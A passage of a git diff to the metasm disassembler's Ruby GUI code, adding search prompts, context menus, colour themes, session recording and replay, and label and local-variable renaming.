xa + d_o*@font_width - d = d.gsub(/[^\x20-\x7e]/n, '.') + d = d.gsub(/[^\x20-\x7e]/, '.') if wp.empty? render[d, :ascii] else @@ -392,11 +392,15 @@ class HexWidget < DrawableWidget # pop a dialog, scans the sections for a hex pattern def prompt_search_hex - inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat| - pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" } + text = '' + if current_address.kind_of?(::Integer) + text = Expression.encode_imm(current_address, "u#{@dasm.cpu.size}".to_sym, @dasm.cpu).unpack('H*').first + end + inputbox('hex pattern to search (hex regexp, use .. for wildcard)', :text => text) { |pat| + pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } - listwindow("hex search #{pat}", list) { |i| focus_addr i[0] } + listwindow("hex search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } } end @@ -404,7 +408,7 @@ class HexWidget < DrawableWidget def prompt_search_ascii inputbox('data pattern to search (regexp)') { |pat| list = [['addr']] + @dasm.pattern_scan(/#{pat}/).map { |a| [Expression[a]] } - listwindow("data search #{pat}", list) { |i| focus_addr i[0] } + listwindow("data search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } } end @@ -483,7 +487,7 @@ class HexWidget < DrawableWidget } @write_pending.clear rescue - @parent_widget.messagebox($!, $!.class.to_s) + @parent_widget.messagebox($!.message.to_s, $!.class.to_s) end def get_cursor_pos diff --git a/lib/metasm/metasm/gui/dasm_listing.rb b/lib/metasm/metasm/gui/dasm_listing.rb index 6378f48374..8a67ab22de 100644 --- a/lib/metasm/metasm/gui/dasm_listing.rb +++ b/lib/metasm/metasm/gui/dasm_listing.rb @@ -28,10 +28,8 @@ class AsmListingWidget < DrawableWidget @maxaddr = (addrs.max + @dasm.sections[addrs.max].length rescue (1 << @dasm.cpu.size)) @startaddr = @dasm.prog_binding['entrypoint'] || @minaddr - @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black, - :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black, - :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered, - :arrows_bg => :palegrey, :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red } + @default_color_association = ColorTheme.merge :raw_data => :black, :arrows_bg => :palegrey, + :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red end def resized(w, h) @@ -55,11 +53,26 @@ class AsmListingWidget < DrawableWidget def click(x, y) set_caret_from_click(x - @arrow_zone_w, y) + @caret_x = 0 if @caret_x < 0 end def rightclick(x, y) click(x, y) - @parent_widget.clone_window(@hl_word, :listing) + cx = (x - @arrow_zone_w) / @font_width + cy = y / @font_height + if cx > 0 + m = new_menu + cm = new_menu + addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } + addsubmenu(cm, 'copy _line') { clipboard_copy(@line_text[cy]) if @line_text[cy] } + addsubmenu(cm, 'copy _all') { clipboard_copy(@line_text.join("\r\n")) } # XXX auto \r\n vs \n + addsubmenu(m, '_clipboard', cm) + addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :listing) } + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(self, m, @line_address[@caret_y]) + end + popupmenu(m, x, y) + end end def doubleclick(x, y) @@ -118,19 +131,7 @@ class AsmListingWidget < DrawableWidget render = lambda { |str, color| # function ends when we write under the bottom of the listing next if not str or y >= w_h or x >= w_w - if @hl_word and @hl_word != '' - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -275,6 +276,12 @@ class AsmListingWidget < DrawableWidget def keypress(key) case key + when ?u # undef data formatting with ?d + addr = current_address + if not @dasm.decoded[addr] and @dasm.xrefs[addr].kind_of?(Xref) + @dasm.xrefs.delete addr + gui_update + end when :left if @caret_x >= 1 @caret_x -= 1 @@ -315,6 +322,8 @@ class AsmListingWidget < DrawableWidget when :end @caret_x = @line_text[@caret_y].to_s.length update_caret + when :popupmenu + rightclick(@caret_x*@font_width + @arrow_zone_w+1, @caret_y*@font_height) else return false end true @@ -422,16 +431,18 @@ class AsmListingWidget < DrawableWidget # ary di.block.each_from_samefunc(@dasm) { |addr| addr = @dasm.normalize addr - next if not addr.kind_of? ::Integer or (ndi = @dasm.di_at(addr) and ndi.next_addr == curaddr) + # block.list.last for delayslot + next if ndi = @dasm.di_at(addr) and ndi.block.list.last.next_addr == curaddr arrows_addr << [addr, curaddr] } end if di.block.list.last == di + # kikoo delayslot + rdi = di.block.list[-[4, di.block.list.length].min, 4].reverse.find { |_di| _di.opcode.props[:setip] } || di di.block.each_to_samefunc(@dasm) { |addr| addr = @dasm.normalize addr - next if not addr.kind_of? ::Integer or (di.next_addr == addr and - (not di.opcode.props[:saveip] or di.block.to_subfuncret)) - arrows_addr << [curaddr, addr] + next if di.next_addr == addr and (not rdi.opcode.props[:saveip] or rdi.block.to_subfuncret) + arrows_addr << [rdi.address, addr] } end str_c << ["#{Expression[di.address]} ", :address] @@ -485,11 +496,11 @@ class AsmListingWidget < DrawableWidget xlen ||= xref.len || 1 if xref.len comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]}" if xref.origin } if @dasm.xrefs[curaddr] - len = xlen if xlen and xlen > 2 # db xref may point a string + len = xlen if xlen and xlen >= 2 # db xref may point a string comment = nil if comment.empty? len = (1..len).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || len str = str[0, len] if len < str.length - str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if len == 2 + str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if xlen == 2 if (xlen == 1 or xlen == 2) and asc = str.inject('') { |asc_, c| case c when 0x20..0x7e, 9, 10, 13; asc_ << c @@ -534,7 +545,7 @@ class AsmListingWidget < DrawableWidget comment = [] @dasm.each_xref(curaddr) { |xref| len = xref.len if xref.len - comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]} " + comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin] if xref.origin} " } len = 1 if (len != 2 and len != 4 and len != 8) or len < 1 dat = "#{%w[x db dw x dd x x x dq][len]} ? " @@ -578,9 +589,13 @@ class AsmListingWidget < DrawableWidget prev_arrows = @arrows addr_line = {} # addr => last line (di) @line_address.each_with_index { |a, l| addr_line[a] = l } - @arrows = arrows_addr.uniq.sort.map { |from, to| - [(addr_line[from] || (from < curaddr ? :up : :down) rescue :up), - (addr_line[ to ] || ( to < curaddr ? :up : :down) rescue :up)] + @arrows = arrows_addr.uniq.find_all { |from, to| + ((from-curaddr)+(to-curaddr)).kind_of?(::Integer) rescue nil + }.sort_by { |from, to| + [from-curaddr, to-curaddr] + }.map { |from, to| + [(addr_line[from] || (from-curaddr < 0 ? :up : :down)), + (addr_line[ to ] || (to - curaddr < 0 ? :up : :down))] } invalidate(0, 0, @arrow_zone_w, 100000) if prev_arrows != @arrows end diff --git a/lib/metasm/metasm/gui/dasm_main.rb b/lib/metasm/metasm/gui/dasm_main.rb index 8b1e298d72..0c6e504be9 100644 --- a/lib/metasm/metasm/gui/dasm_main.rb +++ b/lib/metasm/metasm/gui/dasm_main.rb @@ -15,6 +15,16 @@ require 'metasm/gui/cstruct' module Metasm module Gui +class DrawableWidget + ColorTheme = { :comment => :darkblue, :label => :darkgreen, :text => :black, + :instruction => :black, :address => :blue, :caret => :black, :background => :white, + :cursorline_bg => :paleyellow, :hl_word_bg => :palered, :hl_word => :black, + :red_bg => 'f88', :green_bg => '8f8', :blue_bg => '88f', + :cyan_bg => '8ff', :magenta_bg => 'f8f', :yellow_bg => 'ff8', + :orange_bg => 'fc8' + } +end + # the main disassembler widget: this is a container for all the lower-level widgets that actually render the dasm state class DisasmWidget < ContainerChoiceWidget attr_accessor :entrypoints, :gui_update_counter_max @@ -64,6 +74,7 @@ class DisasmWidget < ContainerChoiceWidget # start an idle callback that will run one round of @dasm.disassemble_mainiter def start_disassemble_bg + return if @dasm.addrs_todo.empty? and @entrypoints.all? { |ep| @dasm.decoded[ep] } gui_update_counter = 0 run = false Gui.idle_add { @@ -84,6 +95,10 @@ class DisasmWidget < ContainerChoiceWidget } end + def wait_disassemble_bg + Gui.main_iter until @entrypoints.empty? and @dasm.addrs_todo.empty? + end + def terminate @clones.delete self end @@ -107,6 +122,17 @@ class DisasmWidget < ContainerChoiceWidget @dasm.prog_binding[hl] || curview.current_address end + # returns the ExpressionString if the currently hilighted word is a :stackvar + def pointed_localvar(obj=curobj, hl=curview.hl_word) + return if not obj.kind_of?(Renderable) + localvar = nil + obj.each_expr { |e| + next unless e.kind_of?(ExpressionString) + localvar = e if e.type == :stackvar and e.str == hl + } + localvar + end + # parse an address and change it to a canonical address form # supported formats: label names, or string with numerical value, incl hex (0x42 and 42h) # if the string is full decimal, a check against mapped space is done to find if it is @@ -138,17 +164,17 @@ class DisasmWidget < ContainerChoiceWidget end # display the specified address - # the display first searches in the current view (graph, listing, etc), - # if it cannot display the address all other views are tried in order + # the display first searches in the current view + # if it cannot display the address, the listing, graph and decompile views are tried (in that order) # the current focus address is saved in @pos_history (see focus_addr_back/redo) - # a messagebox is popped if no view can display the address unless quiet is true + # if quiet is false, a messagebox is popped if no view can display the address def focus_addr(addr, viewidx=nil, quiet=false, *a) viewidx ||= curview_index || :listing return if not addr - return if viewidx == curview_index and addr == curaddr + return if viewidx == curview_index and addr == curaddr and a.empty? oldpos = [curview_index, (curview.get_cursor_pos if curview)] views = [viewidx, oldpos[0]] - views += [:listing, :graph] & view_indexes + views += [:listing, :graph, :decompile] & view_indexes if views.compact.uniq.find { |i| o_p = view(i).get_cursor_pos if (view(i).focus_addr(addr, *a) rescue nil) @@ -157,11 +183,13 @@ class DisasmWidget < ContainerChoiceWidget true else view(i).set_cursor_pos o_p + a.clear false end } @pos_history << oldpos if oldpos[0] # ignore start focus_addr @pos_history_redo.clear + session_append "@session_focus_addr = #{addr.inspect} ; @pos_history = #{@pos_history.inspect}" true else messagebox "Invalid address #{addr}" if not quiet @@ -198,7 +226,7 @@ class DisasmWidget < ContainerChoiceWidget # ask the current view to update itself def do_gui_update - curview.gui_update # invalidate all views ? + curview.gui_update if curview # invalidate all views ? end # redraw the window @@ -212,7 +240,7 @@ class DisasmWidget < ContainerChoiceWidget yield focus_addr curaddr if addr end - + # calls listwindow with the same argument, but also creates a new bg_color_callback # that will color lines whose address is to be found in list[0] in green # the callback is put only for the duration of the listwindow, and is not reentrant. @@ -234,18 +262,24 @@ class DisasmWidget < ContainerChoiceWidget inputbox("new comment for #{Expression[addr]}", :text => cmt) { |c| c = c.split("\n") c = nil if c == [] - if di = @dasm.di_at(addr) - di.comment = c - else - @dasm.comment[addr] = c - end + do_add_comment(addr, c) + session_append "do_add_comment(#{addr.inspect}, #{c.inspect})" gui_update } end + def do_add_comment(addr, c) + if di = @dasm.di_at(addr) + di.comment = c + else + @dasm.comment[addr] = c + end + end + # disassemble from this point # if points to a call, make it return def disassemble(addr) + session_append "disassemble(#{addr.inspect}) ; wait_disassemble_bg" if di = @dasm.di_at(addr) and di.opcode.props[:saveip] di.block.each_to_normal { |t| t = @dasm.normalize t @@ -263,17 +297,20 @@ class DisasmWidget < ContainerChoiceWidget # disassemble fast from this point (don't dasm subfunctions, don't backtrace) def disassemble_fast(addr) @dasm.disassemble_fast(addr) + session_append "dasm.disassemble_fast(#{addr.inspect})" gui_update end # disassemble fast & deep from this point (don't backtrace, but still dasm subfuncs) def disassemble_fast_deep(addr) @dasm.disassemble_fast_deep(addr) + session_append "dasm.disassemble_fast_deep(#{addr.inspect})" gui_update end # (re)decompile def decompile(addr) + session_append "decompile(#{addr.inspect})" if @dasm.c_parser and var = @dasm.c_parser.toplevel.symbol[addr] and (var.type.kind_of? C::Function or @dasm.di_at(addr)) @dasm.decompiler.redecompile(addr) view(:decompile).curaddr = nil @@ -284,6 +321,7 @@ class DisasmWidget < ContainerChoiceWidget # change the format of displayed data under addr (byte, word, dword, qword) # currently this is done using a fake empty xref def toggle_data(addr) + session_append "toggle_data(#{addr.inspect})" return if @dasm.decoded[addr] or not @dasm.get_section_at(addr) @dasm.add_xref(addr, Xref.new(nil, nil, 1)) if not @dasm.xrefs[addr] @dasm.each_xref(addr) { |x| @@ -328,15 +366,31 @@ class DisasmWidget < ContainerChoiceWidget listwindow("list of strings", list) { |i| focus_addr i[0] } end - def list_xrefs(addr) + def list_xrefs(addr=nil) list = [['address', 'type', 'instr']] - @dasm.each_xref(addr) { |xr| - next if not xr.origin - list << [Expression[xr.origin], "#{xr.type}#{xr.len}"] - if di = @dasm.di_at(xr.origin) - list.last << di.instruction + if not addr and pointed_localvar + addr = curview.hl_word + faddr = @dasm.find_function_start(curaddr) + func = @dasm.function[faddr] + if func and func.localvars_xrefs + stoff = func.localvars.index(addr) + func.localvars_xrefs[stoff].to_a.each { |a| + list << [Expression[a], '?'] + if di = @dasm.di_at(a) + list.last << di.instruction + end + } end - } + else + addr ||= pointed_addr + @dasm.each_xref(addr) { |xr| + next if not xr.origin + list << [Expression[xr.origin], "#{xr.type}#{xr.len}"] + if di = @dasm.di_at(xr.origin) + list.last << di.instruction + end + } + end if list.length == 1 messagebox "no xref to #{Expression[addr]}" if addr else @@ -351,8 +405,7 @@ class DisasmWidget < ContainerChoiceWidget } end - def prompt_backtrace - addr = curaddr + def prompt_backtrace(addr=curaddr) inputbox('expression to backtrace', :text => curview.hl_word) { |e| expr = IndExpression.parse_string(e) bd = {} @@ -388,7 +441,106 @@ class DisasmWidget < ContainerChoiceWidget list_bghilight("backtrace #{expr} from #{Expression[addr]}", list) { |i| a = i[0].empty? ? i[2] : i[0] focus_addr(a, nil, true) - } + } + } + end + + # prompt the contant to use in place of some numeric value + def prompt_constant(di=curobj) + return if not di.kind_of?(DecodedInstruction) + di.each_expr { |e| + next unless e.kind_of?(Expression) + if (e.lexpr.kind_of?(Integer) or e.lexpr.kind_of?(ExpressionString)) and + (!curview.hl_word or curview.hl_word == Expression[e.lexpr].to_s) + v = Expression[e.lexpr].reduce + lst = [] + dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } + if not lst.empty? + default = Expression[v].to_s + lst << [default] + listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| + if a[0] == default + e.lexpr = v + else + e.lexpr = ExpressionString.new(v, a[0], :constant) + end + session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.lexpr = #{e.lexpr.inspect} if e.kind_of?(Expression) and e.lexpr and Expression[e.lexpr].reduce == #{v.inspect} } ; end" + gui_update + } + end + end + if (e.rexpr.kind_of? Integer or e.rexpr.kind_of?(ExpressionString)) and + (!curview.hl_word or curview.hl_word == Expression[e.rexpr].to_s) + v = Expression[e.rexpr].reduce + lst = [] + dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } + if not lst.empty? + default = Expression[v].to_s + lst << [default] + listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| + if a[0] == default + e.rexpr = v + else + e.rexpr = ExpressionString.new(v, a[0], :constant) + end + session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.rexpr = #{e.rexpr.inspect} if e.kind_of?(Expression) and e.rexpr and Expression[e.rexpr].reduce == #{v.inspect} } ; end" + gui_update + } + end + end + } + end + + # prompts for a structure name, autocompletes to known structures, and/or display a listwindow with + # possible completions, yields the target structure name + def prompt_c_struct(prompt, opts={}) + inputbox(prompt, opts) { |st_name| + stars = '' + if opts[:allow_stars] + stars = st_name[/\**$/] + st_name[stars] = '' + end + + # TODO propose typedef struct {} moo; too + sh = @dasm.c_parser.toplevel.struct + if sh[st_name].kind_of?(C::Union) + stn_list = [st_name] + else + stn_list = sh.keys.grep(String).find_all { |k| sh[k].kind_of?(C::Union) } + end + + if name = stn_list.find { |n| n == st_name } || stn_list.find { |n| n.downcase == st_name.downcase } + # single match + yield(name+stars) + else + # try autocomplete + list = [['name']] + list += stn_list.sort.grep(/#{st_name}/i).map { |stn| [stn+stars] } + if list.length == 2 + # single autocompletion + yield(list[1][0]) + else + listwindow(prompt, list) { |ans| + yield(ans[0]) + } + end + end + } + end + + # prompt the struct to use for offset in a given instr + def prompt_struct_ptr(reg=curview.hl_word, addr=curaddr) + return if not reg or not @dasm.cpu.register_symbols.find { |rs| rs.to_s == reg.to_s } + reg = reg.to_sym + + di = @dasm.di_at(addr) + return if not di.kind_of?(DecodedInstruction) + + prompt_c_struct("struct pointed by #{reg}", :allow_stars => true) { |st| + # TODO store that info for the decompiler ? + @dasm.trace_update_reg_structptr(addr, reg, st) + session_append "dasm.trace_update_reg_structptr(#{addr.inspect}, #{reg.inspect}, #{st.inspect})" + gui_update } end @@ -397,7 +549,7 @@ class DisasmWidget < ContainerChoiceWidget def focus_addr_autocomplete(v, show_alt=true) if not focus_addr(v, nil, true) labels = @dasm.prog_binding.map { |k, vv| - [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase + [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase }.compact case labels.length when 0; focus_addr(v) @@ -422,7 +574,10 @@ class DisasmWidget < ContainerChoiceWidget # run arbitrary ruby def prompt_run_ruby - inputbox('ruby code to eval()') { |c| messagebox eval(c).inspect[0, 512], 'eval' } + inputbox('ruby code to eval()') { |c| + messagebox eval(c).inspect[0, 512], 'eval' + session_append "#eval #{c.inspect}" + } end # run ruby plugin @@ -454,25 +609,41 @@ class DisasmWidget < ContainerChoiceWidget end end - # prompts for a new name for addr - def rename_label(addr) - old = addr - if @dasm.prog_binding[old] or old = @dasm.get_label_at(addr) + # prompts for a new name for what is under the cursor (or the current address) + def rename(what=nil) + if not what and localvar = pointed_localvar + addr = curaddr + str = localvar.str.dup + inputbox("new name for #{localvar}", :text => localvar.to_s) { |v| + if v =~ /^[a-z_][a-z0-9_]*$/i + localvar.str.replace v + session_append "pointed_localvar(dasm.decoded[#{addr.inspect}], #{str.inspect}).str.replace(#{v.inspect})" + gui_update + else messagebox("invalid local var name #{v.inspect}") + end + } + return + end + + what ||= pointed_addr + if @dasm.prog_binding[what] or old = @dasm.get_label_at(what) + old ||= what inputbox("new name for #{old}", :text => old) { |v| if v == '' - @dasm.del_label_at(addr) + @dasm.del_label_at(what) + session_append "dasm.del_label_at(#{what.inspect})" else @dasm.rename_label(old, v) + session_append "dasm.rename_label(#{old.inspect}, #{v.inspect})" end gui_update } else - inputbox("label name for #{Expression[addr]}", :text => Expression[addr]) { |v| + inputbox("label name for #{Expression[what]}", :text => Expression[what]) { |v| next if v == '' - @dasm.set_label_at(addr, v) - if di = @dasm.di_at(addr) - @dasm.split_block(di.block, di.address) - end + @dasm.set_label_at(what, v) + @dasm.split_block(what) + session_append "dasm.set_label_at(#{what.inspect}, #{v.inspect}) ; dasm.split_block(#{what.inspect})" gui_update } end @@ -504,12 +675,34 @@ class DisasmWidget < ContainerChoiceWidget # toggles <41h> vs <'A'> display def toggle_expr_char(o) @dasm.toggle_expr_char(o) + session_append "dasm.toggle_expr_char(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + # toggle <10h> vs <16> display + def toggle_expr_dec(o) + @dasm.toggle_expr_dec(o) + session_append "dasm.toggle_expr_dec(dasm.decoded[#{curaddr.inspect}])" gui_update end # toggle <401000h> vs <'sub_fancyname'> in the current instr display def toggle_expr_offset(o) @dasm.toggle_expr_offset(o) + session_append "dasm.toggle_expr_offset(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + # toggle constant/localvar names with raw value + def toggle_expr_str(o) + @dasm.toggle_expr_str(o) + session_append "dasm.toggle_expr_str(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + def name_local_vars(a) + @dasm.name_local_vars(a) + session_append "dasm.name_local_vars(#{a.inspect})" gui_update end @@ -524,6 +717,7 @@ class DisasmWidget < ContainerChoiceWidget list = [] @dasm.each_function_block(addr, incl_subfuncs) { |b| list << b } list.each { |b| @dasm.undefine_from(b) } + session_append "undefine_function(#{addr.inspect}, #{incl_subfuncs.inspect})" gui_update end @@ -549,28 +743,33 @@ class DisasmWidget < ContainerChoiceWidget when ?/; inputbox('search word') { |w| next unless curview.respond_to? :hl_word next if w == '' - curview.hl_word = w + curview.hl_word = w + curview.hl_word_re = /(.*)(#{w})/ curview.redraw } - when ?b; prompt_backtrace - when ?c; disassemble(curview.current_address) - when ?C; disassemble_fast(curview.current_address) - when ?d; toggle_data(curview.current_address) + when ?b; prompt_backtrace(curaddr) + when ?c; disassemble(curaddr) + when ?C; disassemble_fast(curaddr) + when ?d; curobj.kind_of?(DecodedInstruction) ? toggle_expr_dec(curobj) : toggle_data(curaddr) when ?f; list_functions when ?g; prompt_goto + when ?k; toggle_expr_str(curobj) + when ?K; name_local_vars(curaddr) when ?l; list_labels - when ?n; rename_label(pointed_addr) + when ?m; prompt_constant(curobj) + when ?n; rename when ?o; toggle_expr_offset(curobj) when ?p; playpause_dasm when ?r; toggle_expr_char(curobj) + when ?t; prompt_struct_ptr when ?v; $VERBOSE = ! $VERBOSE ; puts "#{'not ' if not $VERBOSE}verbose" # toggle verbose flag - when ?x; list_xrefs(pointed_addr) - when ?;; add_comment(curview.current_address) + when ?x; list_xrefs + when ?;; add_comment(curaddr) when ?\ ; toggle_view(:listing) when :tab; toggle_view(:decompile) when ?j; curview.keypress(:down) - when ?k; curview.keypress(:up) + #when ?k; curview.keypress(:up) else p key if $DEBUG return @parent_widget ? @parent_widget.keypress(key) : false @@ -578,6 +777,48 @@ class DisasmWidget < ContainerChoiceWidget true end + attr_accessor :session_file + def save_session(filename) + @session_file = filename + end + + def replay_session(filename) + i = 0 + File.readlines(filename).each { |l| + instance_eval l + i += 1 + } + focus_addr(@session_focus_addr) if @session_focus_addr + puts "Session replay finished" + rescue ::Exception + puts "Session replay: error on line #{i}: #{$!.class} #{$!}" + end + + # append one line to the session file + # converts addresses to hex, deletes consecutive set_focus lines + def session_append(str) + return if not session_file + + # convert decimal addrs to hex + str = str.sub(/(\(|\[|= )(\d\d\d\d\d\d+)/) { $1 + ('0x%x' % $2.to_i) } + + @session_lastsz_setfocus ||= nil # prevent warning + if str =~ /^@session_focus_addr = / and @session_lastsz_setfocus + # overwrite previous set_focus + File.truncate(session_file, @session_lastsz_setfocus) if File.size(session_file) == @session_lastsz + is_setfocus = true + end + + File.open(session_file, 'a') { |fd| fd.puts str } + + @session_lastsz = File.size(session_file) + @session_lastsz_setfocus = @session_lastsz if not is_setfocus + + rescue + @session_file = nil + puts "Failed to save session, disabling (#{$!.class} #{$!})" + end + # creates a new dasm window with the same disassembler object, focus it on addr#win def clone_window(*focus) return if not popup = DasmWindow.new @@ -594,11 +835,21 @@ class DisasmWidget < ContainerChoiceWidget def dragdropfile(f) case f when /\.(c|h|cpp)$/; @dasm.parse_c_file(f) - when /\.map$/; @dasm.load_map(f) + when /\.map$/; @dasm.load_map(f) ; gui_update when /\.rb$/; @dasm.load_plugin(f) else messagebox("unsupported file extension #{f}") end end + + def extend_contextmenu(tg, menu, addr=nil) + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(tg, menu, addr) + end + end + + def inspect + "" % object_id + end end # this widget is loaded in an empty DasmWindow to handle shortcuts (open file, etc) @@ -644,7 +895,7 @@ class DasmWindow < Window self.widget = NoDasmWidget.new(self) end end - + def widget=(w) super(w || NoDasmWidget.new(self)) end @@ -673,8 +924,11 @@ class DasmWindow < Window def loadfile(path, cpu='Ia32', exefmt=nil) if exefmt exefmt = Metasm.const_get(exefmt) if exefmt.kind_of? String + if exefmt.kind_of?(::Class) and exefmt.name.split('::').last == 'Shellcode' + exefmt = Shellcode.withcpu(cpu) + end else - exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu.new } + exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu = cpu.new if cpu.kind_of?(::Class) ; cpu } end exe = exefmt.decode_file(path) { |type, str| @@ -688,14 +942,15 @@ class DasmWindow < Window end } (@dasm_widget ? DasmWindow.new : self).display(exe.disassembler) + self.title = "#{File.basename(path)} - metasm disassembler" exe end - def promptopen(caption='chose target binary') - openfile(caption) { |exename| loadfile(exename) ; yield self if block_given? } + def promptopen(caption='chose target binary', &b) + openfile(caption) { |exename| loadfile(exename) ; b.call(self) if b } end - def promptdebug(caption='chose target') + def promptdebug(caption='chose target', &b) l = nil i = inputbox(caption) { |name| i = nil ; l.destroy if l and not l.destroyed? @@ -711,7 +966,7 @@ class DasmWindow < Window end DbgWindow.new(target) destroy if not @dasm_widget - yield self if block_given? + b.call(self) if b } # build process list in bg (exe name resolution takes a few seconds) @@ -786,6 +1041,7 @@ class DasmWindow < Window addsubmenu(importmenu, 'Load _map') { openfile('chose map file') { |file| @dasm_widget.dasm.load_map(File.read(file)) if @dasm_widget + @dasm_widget.gui_update if @dasm_widget } if @dasm_widget } addsubmenu(importmenu, 'Load _C') { @@ -838,12 +1094,13 @@ class DasmWindow < Window addsubmenu(actions, '_Backtrace', 'b') { @dasm_widget.prompt_backtrace } addsubmenu(actions, 'List functions', 'f') { @dasm_widget.list_functions } addsubmenu(actions, 'List labels', 'l') { @dasm_widget.list_labels } - addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs(@dasm_widget.pointed_addr) } + addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs } + addsubmenu(actions, 'Find local vars', 'K') { @dasm_widget.name_local_vars(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Rebase') { @dasm_widget.rebase } - addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename_label(@dasm_widget.pointed_addr) } + addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename } addsubmenu(actions, 'Decompile', '') { @dasm_widget.decompile(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Decompile finali_ze') { @dasm_widget.dasm.decompiler.finalize ; @dasm_widget.gui_update } - addsubmenu(actions, 'Comment', ';') { @dasm_widget.decompile(@dasm_widget.curview.current_address) } + addsubmenu(actions, 'Comment', ';') { @dasm_widget.add_comment(@dasm_widget.curview.current_address) } addsubmenu(actions, '_Undefine') { @dasm_widget.dasm.undefine_from(@dasm_widget.curview.current_address) ; @dasm_widget.gui_update } addsubmenu(actions, 'Unde_fine function') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Undefine function & _subfuncs') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address, true) } diff --git a/lib/metasm/metasm/gui/dasm_opcodes.rb b/lib/metasm/metasm/gui/dasm_opcodes.rb index f38c2b38d5..faeab8334d 100644 --- a/lib/metasm/metasm/gui/dasm_opcodes.rb +++ b/lib/metasm/metasm/gui/dasm_opcodes.rb @@ -9,7 +9,7 @@ class AsmOpcodeWidget < DrawableWidget attr_accessor :dasm # nr of raw data bytes to display next to decoded instructions attr_accessor :raw_data_length - + def initialize_widget(dasm, parent_widget) @dasm = dasm @parent_widget = parent_widget @@ -22,9 +22,7 @@ class AsmOpcodeWidget < DrawableWidget @view_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil @view_addr = @dasm.prog_binding['entrypoint'] || @view_min || 0 - @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black, - :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black, - :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered } + @default_color_association = ColorTheme.merge :raw_data => :black end def resized(w, h) @@ -124,19 +122,7 @@ class AsmOpcodeWidget < DrawableWidget # must not include newline render = lambda { |str, color| fullstr << str - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -154,7 +140,7 @@ class AsmOpcodeWidget < DrawableWidget # draw text until screen is full while y < height - if label = invb[curaddr] + if invb[curaddr] nl[] @dasm.label_alias[curaddr].to_a.each { |name| render["#{name}:", :label] @@ -251,7 +237,7 @@ class AsmOpcodeWidget < DrawableWidget # redraws the caret, change the hilighted word, redraw if needed def update_caret if update_hl_word(@line_text[@caret_y], @caret_x) or @caret_y != @oldcaret_y - redraw + redraw elsif @oldcaret_x != @caret_x invalidate_caret(@oldcaret_x, @oldcaret_y) invalidate_caret(@caret_x, @caret_y) diff --git a/lib/metasm/metasm/gui/debug.rb b/lib/metasm/metasm/gui/debug.rb index 53cc684f2f..e563803dc3 100644 --- a/lib/metasm/metasm/gui/debug.rb +++ b/lib/metasm/metasm/gui/debug.rb @@ -30,7 +30,7 @@ class DbgWidget < ContainerVBoxWidget oldcb = @code.bg_color_callback @code.bg_color_callback = lambda { |a| if a == @dbg.pc - 'f88' + :red_bg # TODO breakpoints & stuff elsif oldcb; 